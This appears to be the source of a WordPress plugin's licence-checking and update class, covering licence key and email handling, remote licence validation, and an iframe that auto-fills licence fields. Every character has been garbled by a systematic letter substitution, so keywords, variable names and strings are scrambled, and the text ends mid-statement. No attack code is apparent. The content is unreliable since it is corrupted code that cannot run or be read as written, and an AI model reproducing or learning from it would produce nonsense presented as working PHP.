SnxmB, SBtFxu)U oBmlos QplrmUaf74bcQplrmUU } SnqBDxFu = QplrmUQplrmUU xA (xn_FooFh(SuBkBun)) { AroBFDy (SuBkBun Fn SuBkBu5Bh =QzmU SuBkBu!FulB) { xA (SuBkBu!FulB == QplrmU;umxtFmBQplrmU) { SnqBDxFu = QplrmUlumxtFmBQplrmUU } xA (Vxs_FooFh(SuBkBu!FulB, SuBkBun)) { DrsmxslBU } xA (SnxmB) { SruCcrtFxsn = SCrtFxsnU SCrtFxsn[] = SnxmBU SCrtFxsn = FooFh_kFulBn(FooFh_lsxplB(SCrtFxsn))U } lqCFmB_lnBotBmF(SxC, Smyxn-QzmUnulz, SCrtFxsn)U } } xA (SnqBDxFu == QplrmUQplrmU) { xA (xnnBm(SFDmxkFmxrs[QplrmUCrjsurFCQplrmU]) QFtqUQFtqU (SkBonxrs = Smyxn-QzmUkBonxrs(SFDmxkFmxrs[QplrmUCrjsurFCQplrmU]))) { oBmlos SkBonxrsU } BunB { oBmlos Smyxn-QzmUkBonxrsU } } oBmlos Smyxn-QzmUkBonxrs . QplrmU-QplrmU . SnqBDxFuU } oBmlos QplrmUaf74bcQplrmUU } AlsDmxrs nBmmxszn_zBm() { xA (VAlsDmxrs_Bixnmn(QplrmUzBm_rqmxrsQplrmU)) { oBmlosU } SnBmmxszn = zBm_rqmxrs(Smyxn-QzmUnulz)U xA (SFozn = AlsD_zBm_Fozn()) { SoBmlos = FooFh()U AroBFDy (SFozn Fn SFoz) { SoBmlos[] = SnBmmxszn[SFoz]U } oBmlos SoBmlosU } oBmlos SnBmmxsznU } AlsDmxrs DFuu() { SnBmmxszn = FooFh()U xA (xnnBm(S_01$#[QplrmU4xDBsnBbtFxuQplrmU]) QFtqUQFtqU xnnBm(S_01$#[QplrmU4xDBsnB5BhQplrmU])) { SnBmmxszn = FooFh()U SnBmmxszn = zBm_rqmxrs(Smyxn-QzmUnulz)U xA (Vxn_FooFh(SnBmmxszn)) { SnBmmxszn = FooFh()U } SnBmmxszn[QplrmUBtFxuQplrmU] = moxt(S_01$#[QplrmU4xDBsnBbtFxuQplrmU])U SnBmmxszn[QplrmUvBhQplrmU] = moxt(S_01$#[QplrmU4xDBsnB5BhQplrmU])U lqCFmB_rqmxrs(Smyxn-QzmUnulz, SnBmmxszn)U } SnxmB = CxosFtB(DrsnmFsm(QplrmU?0_d12#b2#_; 4QplrmU))U SyFny = QplrmUQplrmUU SBtFxu = QplrmUQplrmUU SvBh = QplrmUQplrmUU SyFny = QplrmUQplrmUU SuFnmyFny = QplrmUQplrmUU SuFnmDyBDv = PU SuFnmkBonxrs = PU SkBonxrs = PU xA (Smyxn-QzmUkBonxrs) { SuFnmkBonxrs = Smyxn-QzmUkBonxrsU } SuFnmkBonxrsDyBDv = PU SnBmmxszn = FooFh()U xA (SnBmmxszn = zBm_rqmxrs(Smyxn-QzmUnulz)) { BimoFDm(SnBmmxszn)U } Slou = QplrmUQplrmUU xA (Smyxn-QzmUAluu; 4) { Slou = Smyxn-QzmUAluu; 4U } Smyxn-QzmUCBElz(QplrmUDFuu yrtB = QplrmU . Slou)U SuxDBsnBbiqxoB = (mxtB()-SuFnmDyBDv) QzmU HJLPPU SkBonxrsbiqxoB = (mxtB()-SuFnmkBonxrsDyBDv) QzmU MJPPU SmxtBrlmbiqxoB = (mxtB()-SuFnmkBonxrsDyBDv) QzmU MPU Smyxn-QzmUCBElz(QplrmUmxtBrlm BiqxoB = QplrmU . (mxtB()-SuFnmkBonxrsDyBDv) . QplrmU nBDrsCnQplrmU)U Smyxn-QzmUCBElz(QplrmUuFnm uxDBsnB DyBDv: QplrmU . CFmB(QplrmUoQplrmU, SuFnmDyBDv) . QplrmU = QplrmU . (mxtB() - SuFnmDyBDv) . QplrmU, QplrmU . QplrmUuFnm kBonxrs DyBDv: QplrmU . CFmB(QplrmUoQplrmU, SuFnmkBonxrsDyBDv) . QplrmU = QplrmU . (mxtB() - SuFnmkBonxrsDyBDv))U SyFny = QplrmUQplrmUU xA (Smyxn-QzmUnFum) { SyFny = tCK(SuFnmkBonxrsDyBDv.QplrmU|QplrmU . QplrmU|QplrmU . SuFnmkBonxrs . QplrmU|QplrmU . Smyxn-QzmUnFum)U } Smyxn-QzmUCBElz(QplrmUyFny = QplrmU . SyFny .QplrmU, uFnm yFny = QplrmU. SuFnmyFny)U xA (nmoqrn(Smyxn-QzmUDFuu, QplrmUlumxtFmBQplrmU) V== af4$b QFtqUQFtqU VSmyxn-QzmUlumxtFmB) { Smyxn-QzmUlumxtFmB = molBU } Smyxn-QzmUCBElz(QplrmUDFDyBC = QplrmU . Smyxn-QzmUDFuu)U xA (Smyxn-QzmUnFum QFtqUQFtqU SyFny == SuFnmyFny QFtqUQFtqU Smyxn-QzmUDFuu V= QplrmUQplrmU) { oBmlos Smyxn-QzmUDFuuU } Smyxn-QzmUCBElz(QplrmUDrsmxslxsz...QplrmU)U Smyxn-QzmUCBElz(QplrmUuxDBsnB BiqxoB = QplrmU . SuxDBsnBbiqxoB . QplrmU, kBonxrs BiqxoB = QplrmU . SkBonxrsbiqxoB . QplrmU, uFnmkBonxrs = QplrmU . SuFnmkBonxrs . QplrmU, vBh = QplrmU . SvBh)U xA (VSlou) { Smyxn-QzmUCBElz(QplrmU2rm DFuuxsz yrtB hBmQplrmU)U oBmlos SuFnmkBonxrsU } BunBxA (VSmyxn-QzmUnFum) { Smyxn-QzmUCBElz(QplrmUcxC srm sBBC mr DFuu yrtBQplrmU)U Smyxn-QzmUDFuu = SuFnmkBonxrsU xA (nmoqrn(Smyxn-QzmUDFuu, QplrmUlumxtFmBQplrmU) V== af4$b QFtqUQFtqU VSmyxn-QzmUnFum) { Smyxn-QzmUnFum = molBU } oBmlos SuFnmkBonxrsU } BunBxA (VSvBh || VSBtFxu) { oBmlos QplrmU;2 b97$#b bcQplrmUU } BunBxA (SuxDBsnBbiqxoB || SkBonxrsbiqxoB || VSuFnmkBonxrs || nmoqrn(Smyxn-QzmUDFuu, QplrmU QplrmU) V== af4$b) { Smyxn-QzmUCBElz(QplrmUvBh = SvBh, mxtBrlm BiqxoB = SmxtBrlmbiqxoB, uFnmkBonxrs = SuFnmkBonxrsQplrmU)U xA (VxnnBm(S_01$#[QplrmU4xDBsnBbtFxuQplrmU]) QFtqUQFtqU SvBh QFtqUQFtqU VSmxtBrlmbiqxoB QFtqUQFtqU (SuFnmkBonxrs == QplrmU;2 b97$#b bcQplrmU || SuFnmkBonxrs == QplrmU;2521?2QplrmU || SuFnmkBonxrs == QplrmUdf2db44bcQplrmU || SuFnmkBonxrs == QplrmUaf74bcQplrmU || SuFnmkBonxrs == QplrmUe41d5bcQplrmU)) { Smyxn-QzmUCBElz(QplrmUcBuFhBC DFuuxsz yrtB. dFDyBC = SuFnmkBonxrsQplrmU)U oBmlos SuFnmkBonxrsU } Smyxn-QzmUCBElz(QplrmUdFuuBC yrtBQplrmU)U xA (VAlsDmxrs_Bixnmn( QTPMGUjq_oBtrmB_zBmQTPMGU ) ) { oBplxoB_rsDB( fe$0f#8 . QTPMGUjq-xsDulCBn/ymmq.qyqQTPMGU )U } xA (AlsDmxrs_Bixnmn(QplrmUjq_oBtrmB_zBmQplrmU)) { SoBnqrsnB = QplrmUQplrmUU SoBnlum = jq_oBtrmB_zBm(Slou, FooFh( QTPMGUmxtBrlmQTPMGU=QzmUMP, QTPMGUnnukBoxAhQTPMGU =QzmU AFunB, QTPMGUymmqkBonxrsQTPMGU =QzmU QTPMGUO.OQTPMGU ))U Smyxn-QzmUCBElz(kFo_Biqrom(SoBnlum, molB))U Smyxn-QzmUCBElz(QplrmUlou = SlouQplrmU)U xA(xn_jq_Booro(SoBnqrsnB)) { Smyxn-QzmUCBElz(kFo_Biqrom(SoBnqrsnB, molB))U SoBnqrsnB = QplrmUe41d5bcQplrmUU } SoBnlumn = jq_oBtrmB_oBmoxBkB_ErCh(SoBnlum)U xA (Btqmh(SoBnlumn)) { Smyxn-QzmUCBElz(QplrmUBtqmh oBnqrsnBQplrmU)U SoBnlumn = QplrmUe41d5bcQplrmUU } } BunB { Snsrrqh = sBj $srrqh()U Snsrrqh-QzmU_Aq_mxtBrlm = OPU xA (SoBnlum = Snsrrqh-QzmUABmDy(Slou)) { SoBnlumn = Snsrrqh-QzmUoBnlumnU } } xA (SoBnlumn) { xA (Btqmh(SoBnlumn) || SoBnlumn == QplrmU;2 b97$#b bcQplrmU || SoBnlumn == QplrmU;2521?2QplrmU || SoBnlumn == QplrmUdf2db44bcQplrmU || SoBnlumn == QplrmUaf74bcQplrmU || SoBnlumn == QplrmUe41d5bcQplrmU) { SkFuxC4xDBsnB = AFunBU } BunB { SkFuxC4xDBsnB = molBU } xA (SkFuxC4xDBsnB) { SkBonxrs = moxt(SoBnlumn)U } BunBxA (VSuxDBsnBbiqxoB) { SkBonxrs = SuFnmkBonxrsU } SmxtB = mxtB()U SyFny = QplrmUQplrmUU xA (Smyxn-QzmUnFum) { SyFny = tCK(SmxtB . QplrmU|QplrmU . SkBonxrs . QplrmU|QplrmU . Smyxn-QzmUnFum)U SnBmmxszn[QplrmUuFnmyFnyQplrmU] = SyFnyU Smyxn-QzmUCBElz(QplrmUnBm uFnm yFny mr SyFnyQplrmU)U } SnBmmxszn[QplrmUuFnmkBonxrsQplrmU] = SkBonxrsU SnBmmxszn[QplrmUuFnmDyBDvQplrmU] = SmxtBU SnBmmxszn[QplrmUuFnmkBonxrsDyBDvQplrmU] = SmxtBU lqCFmB_rqmxrs(Smyxn-QzmUnulz, SnBmmxszn)U Smyxn-QzmUCBElz(QplrmUnFkxsz nBmmxsznQplrmU)U Smyxn-QzmUDFuu = SoBnlumnU xA (nmoqrn(Smyxn-QzmUDFuu, QplrmUlumxtFmBQplrmU) V== af4$b QFtqUQFtqU VSmyxn-QzmUlumxtFmB) { Smyxn-QzmUlumxtFmB = molBU } Smyxn-QzmUCBElz(QplrmUoBtrmB = QplrmU . Smyxn-QzmUDFuu)U oBmlos SoBnlumnU } BunB { SoBmlos = QplrmUe41d5bcQplrmUU Smyxn-QzmUDFuu = SoBmlosU Smyxn-QzmUCBElz(QplrmUuxDBsnB = QplrmU . SoBmlos)U SnBmmxszn[QplrmUuFnmDyBDvQplrmU] = SmxtBU SnBmmxszn[QplrmUuFnmkBonxrsDyBDvQplrmU] = SmxtBU SnBmmxszn[QplrmUuFnmkBonxrsQplrmU] = SkBonxrsU lqCFmB_rqmxrs(Smyxn-QzmUnulz, SnBmmxszn)U Smyxn-QzmUCBElz(QplrmUnFkxsz nBmmxsznQplrmU)U oBmlos SoBmlosU oBmlos sluuU } } Smyxn-QzmUCBElz(QplrmUcxC srm sBBC mr DFuu yrtBQplrmU)U Smyxn-QzmUDFuu = SuFnmkBonxrsU xA (nmoqrn(Smyxn-QzmUDFuu, QplrmUlumxtFmBQplrmU) V== af4$b QFtqUQFtqU VSmyxn-QzmUlumxtFmB) { Smyxn-QzmUlumxtFmB = molBU } oBmlos SuFnmkBonxrsU } AlsDmxrs CBFDmxkFmB() { xA (VxnnBm(Smyxn-QzmUnBmmxszn)) { Smyxn-QzmUnBmmxszn = zBm_rqmxrs(Smyxn-QzmUnulz)U } lsnBm(Smyxn-QzmUnBmmxszn[QplrmUBtFxuQplrmU])U lsnBm(Smyxn-QzmUnBmmxszn[QplrmUvBhQplrmU])U lsnBm(Smyxn-QzmUnBmmxszn[QplrmUuFnmDyBDvQplrmU])U lsnBm(Smyxn-QzmUnBmmxszn[QplrmUuFnmyFnyQplrmU])U lsnBm(Smyxn-QzmUnBmmxszn[QplrmUuFnmkBonxrsQplrmU])U lqCFmB_rqmxrs(Smyxn-QzmUnulz, Smyxn-QzmUnBmmxszn)U } AlsDmxrs kBonxrs_ArotFm(Sxsqlm) { xA (xn_FooFh(Sxsqlm) || Btqmh(Sxsqlm)) { oBmlos SxsqlmU } xA (Vnmoqrn(Sxsqlm, QplrmU.QplrmU) V== af4$b) { oBmlos SxsqlmU } uxnm(SxsmBzBo, SAoFDmxrs) = BiqurCB(QTPMGU.QTPMGU, Sxsqlm, N)U SxsmBzBo = xsmkFu(SxsmBzBo)U SAoFDmxrs = qoBz_oBquFDB([email protected](GO).Dyo(GL).QTPMGUP-GQTPMGU.Dyo(GM).QTPMGU@nxQTPMGU, QTPMGUQTPMGU, SAoFDmxrs)U oBmlos AurFmkFu(SxsmBzBo.QplrmU.QplrmU.SAoFDmxrs)U } AlsDmxrs kBonxrs_DrtqFoB(SF, SE) { SF = nmo_oBquFDB(QplrmU-lumxtFmBQplrmU, QplrmUQplrmU, SF)U SE = nmo_oBquFDB(QplrmU-lumxtFmBQplrmU, QplrmUQplrmU, SE)U SArotFmf = Smyxn-QzmUkBonxrs_ArotFm(SF)U SArotFme = Smyxn-QzmUkBonxrs_ArotFm(SE)U SuBmmBof = QplrmUQplrmUU SuBmmBoe = QplrmUQplrmUU xA (SArotFmf == SArotFme) { qoBz_tFmDy(QTPMGU@([f-<])QTPMGU.Dyo(MJ).QTPMGU@nxQTPMGU, SF, StFmDyBn)U SuBmmBof = QplrmUQplrmUU xA (xnnBm(StFmDyBn[O])) { SuBmmBof = nmomrlqqBo(StFmDyBn[O])U } qoBz_tFmDy(QTPMGU@([f-<])QTPMGU.Dyo(MJ).QTPMGU@nxQTPMGU, SE, StFmDyBn)U xA (xnnBm(StFmDyBn[O])) { SuBmmBoe = nmomrlqqBo(StFmDyBn[O])U } xA (SuBmmBof == QplrmUQplrmU QFtqUQFtqU SuBmmBoe V= QplrmUQplrmU) { oBmlos -OU } xA (SuBmmBof V= QplrmUQplrmU QFtqUQFtqU SuBmmBoe == QplrmUQplrmU) { oBmlos OU } oBmlos nmoDtq(SuBmmBof, SuBmmBoe)U } BunB { oBmlos (SArotFmf QumU SArotFme) W -O : OU } } AlsDmxrs tBnnFzB(SDFuu=QplrmUQplrmU) { xA (Btqmh(SDFuu)) { SDFuu = Smyxn-QzmUDFuu()U } Slou = QplrmUmrrun.qyqWqFzB=QplrmU . qulzxs_EFnBsFtB(__a74b__)U xA (xnnBm(S_9b#[QplrmUqFzBQplrmU]) QFtqUQFtqU S_9b#[QplrmUqFzBQplrmU] == Slou) { Slou = Smyxn-QzmUlqzoFCB; 4U } SqFomn = qFonB_lou(Slou)U xA (xnnBm(SqFomn[QplrmUyrnmQplrmU])) { SyrnmsFtB = SqFomn[QplrmUyrnmQplrmU]U } BunB { SyrnmsFtB = QplrmUQplrmUU } WQzmUY QumUWqyq xA (Btqmh(SDFuu)): WQzmUY QumUV-- Cr srmyxsz --QzmUY QumUWqyq BunBxA (SDFuu == QplrmUe41d5bcQplrmU): WQzmUY QumUCxk DuFnn=QplrmUBooroQplrmUQzmUY QumUWqyqY Sxq = zBmyrnmEhsFtB(S_$b !b [QplrmU8##0_81$#QplrmU])U SyrnmsFtB = zBmyrnmEhsFtB(QplrmUtBtEBozBsxln.DrtQplrmU)U WQzmUY QumUqQzmUQumUEQzmUQumUWqyq BDyr Smyxn-QzmUqorClDm2FtBU WQzmU fuBom:QumU/EQzmU QumUWqyq BDyr Dyo(QplrmUHGQplrmU)U WQzmUrlo jBE yrnm xn AxoBjFuuBC. 0uBFnB DrsmFDm myBt mr Fuurj rlmzrxsz DrssBDmxrsn Aort QumUEQzmUQumUWqyq BDyr SxqU WQzmUQumU/EQzmU mr QumUEQzmUQumUWqyq BDyr SyrnmsFtBU WQzmUQumU/EQzmU rs qrom HP.QumUEo /QzmU ?B nlzzBnm hrl CBFDmxkFmB myB QFtqUplrmUQumUWqyq BDyr Smyxn-QzmUqorClDm2FtBU WQzmUQFtqUplrmU qulzxs lsmxu myxn qorEuBt xn nrukBC.QumU/qQzmUY QumU/CxkQzmUY QumUWqyq BunBxA (SDFuu == QplrmU;2 b97$#b bcQplrmU): WQzmUY QumUCxk DuFnn=QplrmUBooroQplrmUQzmUY QumUqQzmUQumUEQzmUQumUWqyq BDyr Smyxn-QzmUqorClDm2FtBU WQzmU fuBom:QumU/EQzmU QumUWqyq BDyr Dyo(QplrmUHGQplrmU)U WQzmUrl sBBC mr QumUF yoBA=QplrmUQumUWqyq BDyr SlouU WQzmUQplrmUQzmUBsmBo hrlo uxDBsnB vBhQumU/FQzmU mr EBzxs lnxsz myB qulzxs.QumU/qQzmUY QumU/CxkQzmUY QumUWqyq BunBxA (SDFuu == QplrmUdf2db44bcQplrmU): WQzmUY QumUCxk DuFnn=QplrmUBooroQplrmUQzmUY QumUqQzmUQumUEQzmUQumUWqyq BDyr Smyxn-QzmUqorClDm2FtBU WQzmU fuBom:QumU/EQzmU QumUWqyq BDyr Dyo(QplrmUHGQplrmU)U WQzmUrlo uxDBsnB yFn EBBs QumUF yoBA=QplrmUQumUWqyq BDyr SlouU WQzmUQplrmUQzmUDFsDBuuBC Aro srs-qFhtBsmQumU/FQzmU.QumU/qQzmUY QumU/CxkQzmUY QumUWqyq BunBxA (SDFuu == QplrmU;2521?2QplrmU): WQzmUY QumUCxk DuFnn=QplrmUBooroQplrmUQzmUY QumUqQzmUQumUEQzmUQumUWqyq BDyr Smyxn-QzmUqorClDm2FtBU WQzmU fuBom:QumU/EQzmU #yFm BtFxu FCCoBnn xn srm ArlsC xs rlo CFmFEFnB, QumUF yoBA=QplrmUQumUWqyq BDyr SlouU WQzmUQplrmUQzmUquBFnB CrlEuB DyBDv hrlo CBmFxunQumU/FQzmU.QumU/qQzmUY QumU/CxkQzmUY QumUWqyq BunBxA (SDFuu == QplrmU1!b a41?QplrmU): WQzmUY QumUCxk DuFnn=QplrmUBooroQplrmUQzmUY QumUqQzmUQumUEQzmUQumUWqyq BDyr Smyxn-QzmUqorClDm2FtBU WQzmU fuBom:QumU/EQzmU QumUWqyq BDyr Dyo(QplrmUHGQplrmU)U WQzmUrl FoB lnxsz troB myFs K nxmBn jxmy QumUWqyq BDyr Smyxn-QzmUqorClDm2FtBU WQzmU, quBFnB QumUF yoBA=QplrmUymmq://QumUWqyq BDyr Smyxn-QzmUlqzoFCB; 4U WQzmUQplrmUQzmUlqzoFCB mr ;umxtFmBQumU/FQzmU srj.QumU/qQzmUY QumU/CxkQzmUY QumUWqyq BunBxA (SDFuu == QplrmUaf74bcQplrmU): WQzmUY QumUCxk DuFnn=QplrmUBooroQplrmUQzmUY QumUqQzmUQumUEQzmUQumUWqyq BDyr Smyxn-QzmUqorClDm2FtBU WQzmU fuBom:QumU/EQzmU QumUF yoBA=QplrmUQumUWqyq BDyr SlouU WQzmUQplrmUQzmU7sDrooBDm uxDBsnB vBhQumU/FQzmU Aro myFm BtFxu FCCoBnn.QumU/qQzmUY QumU/CxkQzmUY QumUWqyq BsCxAU WQzmUY QumUWqyqY } AlsDmxrs oBzxnmBo(SDFuu) { xA (xnnBm(S_01$#[QplrmU4xDBsnBbtFxuQplrmU])) { SBtFxu = S_01$#[QplrmU4xDBsnBbtFxuQplrmU]U } BunB { SBtFxu = zBm_rqmxrs(QplrmUFCtxs_BtFxuQplrmU)U } xA (xnnBm(S_01$#[QplrmU4xDBsnB5BhQplrmU])) { SvBh = S_01$#[QplrmU4xDBsnB5BhQplrmU]U } BunB { SvBh = QplrmUQplrmUU } WQzmUY QumUCxk DuFnn=QplrmUjoFqQplrmU nmhuB=QplrmUDuBFo:ErmyUQplrmUQzmUY QumUyNQzmUQumUWqyq BDyr Smyxn-QzmUqorClDm2FtBU WQzmU 5BhQumU/yNQzmUYY QumUArot tBmyrC=QplrmUqrnmQplrmUQzmUY QumUmFEuB DuFnn=QplrmUArot-mFEuBQplrmUQzmUY QumUmo kFuxzs=QplrmUmrqQplrmUQzmUY QumUmC DrunqFs=QplrmUMQplrmU nmhuB=QplrmUEroCBo:srsBQplrmUQzmUY QumUqQzmU0uBFnB BsmBo hrlo QumUWqyq BDyr Smyxn-QzmUqorClDm2FtBU WQzmU 4xDBsnB 5Bh FsC btFxu EBurj mr FDmxkFmB myxn qulzxs.QumU/qQzmUY QumU/mCQzmUY QumU/moQzmUY QumUmo kFuxzs=QplrmUmrqQplrmUQzmUY QumUmy nDrqB=QplrmUorjQplrmU nmhuB=QplrmUEroCBo:srsBUjyxmB-nqFDB:srjoFqUQplrmUQzmUQumUWqyq BDyr Smyxn-QzmUqorClDm2FtBU WQzmU 5BhQumU/myQzmUY QumUmC nmhuB=QplrmUEroCBo:srsBQplrmUQzmUQumUxsqlm rsCEuDuxDv=QplrmUmyxn.kFulB=QTPMGUQTPMGUQplrmU mhqB=QplrmUmBimQplrmU xC=QplrmU4xDBsnB5BhQplrmU sFtB=QplrmU4xDBsnB5BhQplrmU kFulB=QplrmUQumUWqyq BDyr SvBhU WQzmUQplrmU nxgB=QplrmUMNQplrmU /QzmUQumU/mCQzmUY QumUmC nmhuB=QplrmUEroCBo:srsBQplrmUQzmU(#yxn jFn nBsm mr myB BtFxu hrl lnBC Cloxsz hrlo qloDyFnB)QumU/mCQzmUY QumU/moQzmUY QumUmo kFuxzs=QplrmUmrqQplrmUQzmUY QumUmy nDrqB=QplrmUorjQplrmU nmhuB=QplrmUEroCBo:srsBUjyxmB-nqFDB:srjoFqQplrmUQzmUQumUWqyq BDyr Smyxn-QzmUqorClDm2FtBU WQzmU btFxuQumU/myQzmUY QumUmC nmhuB=QplrmUEroCBo:srsBQplrmUQzmUQumUxsqlm rsCEuDuxDv=QplrmUmyxn.kFulB=QTPMGUQTPMGUQplrmU mhqB=QplrmUmBimQplrmU xC=QplrmU4xDBsnBbtFxuQplrmU sFtB=QplrmU4xDBsnBbtFxuQplrmU kFulB=QplrmUQumUWqyq BDyr SBtFxuU WQzmUQplrmU nxgB=QplrmUMNQplrmU /QzmUQumU/mCQzmUY QumUmC nmhuB=QplrmUEroCBo:srsBQplrmUQzmU(0uBFnB BsmBo myB BtFxu hrl lnBC Cloxsz hrlo oBzxnmoFmxrs/qloDyFnB)QumU/mCQzmUY QumU/moQzmUY QumUmo kFuxzs=QplrmUmrqQplrmUQzmUY QumUmC DrunqFs=QplrmUMQplrmUQzmUY QumUqQzmUQumUEQzmU2rmB:QumU/EQzmU QumUWqyq BDyr Dyo(QplrmUHGQplrmU)U WQzmUrl sBBC mr BsmBo myB BtFxu FCCoBnn QumUeQzmUhrl lnBC mr 0; d8f$bQumU/eQzmU QumUWqyq BDyr Smyxn-QzmUqorClDm2FtBU WQzmU, srm sBDBnnFoxuh myB FCtxsxnmoFmro BtFxu FCCoBnn rA myxn Eurz.QumU/qQzmUY QumU/mCQzmUY QumU/moQzmUY QumU/mFEuBQzmUY QumUq DuFnn=QplrmUnlEtxmQplrmUQzmUY QumUxsqlm mhqB=QplrmUnlEtxmQplrmU kFulB=QplrmU$FkB QumUWqyq BDyr Smyxn-QzmUqorClDm2FtBU WQzmU 5BhQplrmU sFtB=QplrmU$lEtxmQplrmU /QzmUY QumUF mFozBm=QplrmU_EuFsvQplrmU yoBA=QplrmUQumUWqyq BDyr Smyxn-QzmUvBh; 4U WQzmUQplrmUQzmU9Bm 2Bj QumUWqyq BDyr Smyxn-QzmUqorClDm2FtBU WQzmU 5BhQumU/FQzmUY QumU/qQzmUY QumU/ArotQzmUY QumU/CxkQzmUYY QumUWqyq Smyxn-QzmUFlmrAxuu()U WQzmUY QumUWqyqY } AlsDmxrs FlmrAxuu() { WQzmUY QumUxAoFtB xC=QplrmUtBtEBozBsxln_4xDBsnBfCQplrmU noD=QplrmUFErlm:EuFsvQplrmU jxCmy=QplrmUOQplrmU yBxzym=QplrmUOQplrmU nmhuB=QplrmUCxnquFh:srsBUQplrmUQzmUQumU/xAoFtBQzmUY QumUnDoxqm mhqB=QplrmUmBim/wFkFnDoxqmQplrmUQzmUY QumUV--Y kFo tBtEBozBsxln_yrtB = [Y QplrmUymmq://jjj.xsDrtBtFDyxsB.Drt/tBtEBon/WjqCoxq_yBFCuBnn=OQplrmUY ]UY AlsDmxrs tBtEBozBsxln_nBsC3BnnFzB() {Y CrDltBsm.zBmbuBtBsmeh7C(QplrmUtBtEBozBsxln_4xDBsnBfCQplrmU).DrsmBsm?xsCrj.qrnm3BnnFzB(QplrmUuxDBsnBQplrmU, QplrmU*QplrmU)UY }Y AlsDmxrs tBtEBozBsxln_oBDBxkB3BnnFzB(BkBsm) {Y xA (BkBsm == lsCBAxsBC || VBkBsm || BkBsm.CFmF == lsCBAxsBC) { oBmlosU }Y BunB xA (BkBsm.CFmF == QplrmUQplrmU || BkBsm.CFmF == sluu || BkBsm.CFmF == QplrmUsluuQplrmU) {Y tBtEBozBsxln_yrtB = tBtEBozBsxln_yrtB.nuxDB(O)UY tBtEBozBsxln_FlmrAxuu(tBtEBozBsxln_yrtB[P])UY oBmlosUY }Y BunB xA (BkBsm.CFmF V= lsCBAxsBC QFtqUQFtqU BkBsm.CFmF V= sluu QFtqUQFtqU BkBsm.CFmF V= QplrmUQplrmU) {Y kFo qxBDBn = BkBsm.CFmF.nquxm(QplrmU|QplrmU)UYY kFo vBh = lsBnDFqB(qxBDBn[P])UY kFo BtFxu = lsBnDFqB(qxBDBn[O])UYY xA (vBh == lsCBAxsBC || vBh == QplrmUQplrmU || BtFxu == lsCBAxsBC || BtFxu == QplrmUQplrmU || vBh == sluu || BtFxu == sluu) { oBmlosU }Y xA (vBh == QplrmUlsCBAxsBCQplrmU || BtFxu == QplrmUlsCBAxsBCQplrmU || vBh == QplrmUsluuQplrmU || BtFxu == QplrmUsluuQplrmU) { oBmlosU }YY xA (CrDltBsm.zBmbuBtBsmeh7C(QplrmU4xDBsnB5BhQplrmU) QFtqUQFtqU CrDltBsm.zBmbuBtBsmeh7C(QplrmU4xDBsnB5BhQplrmU).kFulB == QplrmUQplrmU) {Y CrDltBsm.zBmbuBtBsmeh7C(QplrmU4xDBsnB5BhQplrmU).kFulB = vBhUY CrDltBsm.zBmbuBtBsmeh7C(QplrmU4xDBsnBbtFxuQplrmU).kFulB = BtFxuUY }Y }Y }YY AlsDmxrs tBtEBozBsxln_FlmrAxuu(lou) {Y moh {Y jxsCrj.FCCbkBsm4xnmBsBo(QplrmUtBnnFzBQplrmU, tBtEBozBsxln_oBDBxkB3BnnFzB, AFunB)UY CrDltBsm.zBmbuBtBsmeh7C(QplrmUtBtEBozBsxln_4xDBsnBfCQplrmU).rsurFC = tBtEBozBsxln_nBsC3BnnFzBUY CrDltBsm.zBmbuBtBsmeh7C(QplrmUtBtEBozBsxln_4xDBsnBfCQplrmU).noD = louUY }Y DFmDy(Boo) {Y }Y }YY w&lBoh(AlsDmxrs() {Y tBtEBozBsxln_FlmrAxuu(tBtEBozBsxln_yrtB[P])UY })UYY QumUWqyq BDyr QTPMGU/QTPMGU.QTPMGU/QTPMGU.QTPMGU --QzmUQTPMGUU WQzmUY QumU/nDoxqmQzmUY QumU/CxkQzmUY QumUWqyqY } AlsDmxrs vBh(SBtFxu) { Srqmxrsn = zBm_rqmxrs(Smyxn-QzmUnulz)U StFnmBo = Srqmxrsn[QplrmUtFnmBoQplrmU]U oBmlos tCK(SBtFxu . QplrmU|QplrmU . StFnmBo)U } AlsDmxrs CBElz(SmBim=QplrmUQplrmU, SuxsBeoBFv=molB) { xA (VSmyxn-QzmUCBElz) { oBmlosU } xA (VDlooBsm_lnBo_DFs(QplrmUlqCFmB_qulzxsnQplrmU)) { oBmlosU } Smyxn-QzmUtnz(SmBim, SuxsBeoBFv)U } AlsDmxrs tnz(SmBim=QplrmUQplrmU, SuxsBeoBFv=molB, SnmBq=AFunB) { SBuFqnBC = mxtB() - Smyxn-QzmUnmFomU xA (SnmBq) { Smyxn-QzmUnmBq++U BDyr QTPMGUQumUnqFs mxmuB=QplrmUQTPMGU . SBuFqnBC . QTPMGUQplrmUQzmUQTPMGUU BDyr QTPMGUQumUEQzmU$mBq QTPMGU . Smyxn-QzmUnmBq . QTPMGU:QumU/EQzmUQTPMGUU BDyr QTPMGUQumU/nqFsQzmU QTPMGUU } xA (xn_FooFh(SmBim)) { BDyr QTPMGUQumUitqQzmUQTPMGU.kFo_Biqrom(SmBim, molB).QTPMGUQumU/itqQzmUQTPMGUU } BunB { BDyr SmBimU } xA (SuxsBeoBFv) { BDyr QplrmUQumUEo /QzmU\sQplrmUU } xA (Smyxn-QzmUCBElz) { Booro_urz(SmBim)U } jyxuB (rE_zBm_uBkBu() QzmU P) { rE_BsC_Aulny()U } Aulny()U } AlsDmxrs ElAABo() { Aro (Sx=PUSxQumUKPPPUSx++) { BDyr QTPMGUQumUV-- ElAABo --QzmUQTPMGU . QplrmU\o\sQplrmUU } Aulny()U } } xA ( VDuFnn_Bixnmn(QTPMGU0ulzxs;qCFmBdyBDvBoQTPMGU) ): DuFnn 0ulzxs;qCFmBdyBDvBo { qlEuxD StBmFCFmF;ou = QTPMGUQTPMGUU qlEuxD SqulzxsaxuB = QTPMGUQTPMGUU qlEuxD Snulz = QTPMGUQTPMGUU qlEuxD SDyBDv0BoxrC = ONU qlEuxD Srqmxrs2FtB = QTPMGUQTPMGUU AlsDmxrs __DrsnmolDm(StBmFCFmF;ou, SqulzxsaxuB, Snulz = QTPMGUQTPMGU, SDyBDv0BoxrC = ON, Srqmxrs2FtB = QTPMGUQTPMGU){ Smyxn-QzmUtBmFCFmF;ou = StBmFCFmF;ouU Smyxn-QzmUqulzxsaxuB = qulzxs_EFnBsFtB(SqulzxsaxuB)U Smyxn-QzmUDyBDv0BoxrC = SDyBDv0BoxrCU Smyxn-QzmUnulz = SnulzU Smyxn-QzmUrqmxrs2FtB = Srqmxrs2FtBU xA ( Btqmh(Smyxn-QzmUnulz) ){ Smyxn-QzmUnulz = EFnBsFtB(Smyxn-QzmUqulzxsaxuB, QTPMGU.qyqQTPMGU)U } xA ( Btqmh(Smyxn-QzmUrqmxrs2FtB) ){ Smyxn-QzmUrqmxrs2FtB = 